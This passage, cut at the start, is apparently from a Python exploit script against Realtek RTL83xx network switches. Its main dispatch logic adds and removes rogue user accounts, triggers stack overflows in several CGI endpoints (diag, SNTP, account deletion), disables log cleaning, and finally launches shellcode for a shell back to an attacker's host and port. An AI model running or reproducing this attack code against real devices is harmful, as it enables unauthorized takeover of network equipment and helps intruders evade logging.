success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).add_user(target)
elif args.deluser:
if target['exploit']['stack_cgi_del_account']['vulnerable']:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_del_account(target)
else:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).login(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).del_user(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).logout(target)
elif args.shell:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).verify_target(target,False)
if not target['exploit']['heack_cgi_shell']['stack']:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target)
elif target['exploit']['stack_cgi_diag']['vulnerable']:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_diag(target)
elif target['exploit']['stack_cgi_sntp']['vulnerable']:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_sntp(target)
elif target['login']['vulnerable'] and not target['exploit']['stack_cgi_diag']['vulnerable'] or not target['exploit']['stack_cgi_sntp']['vulnerable']:
if not args.auth:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).add_user(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).login(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).disable_clean_log(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).SNTP(target)
if success and not args.auth:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).del_user(target)
if success:
success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).logout(target)
else:
log.failure("We have no way to reach shellcode...")
success = False
if success:
RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).heack_shell(target)
except Exception as e:
log.info("Failed: ({})".format(e))
log.info("All done...")
sys.exit(0)
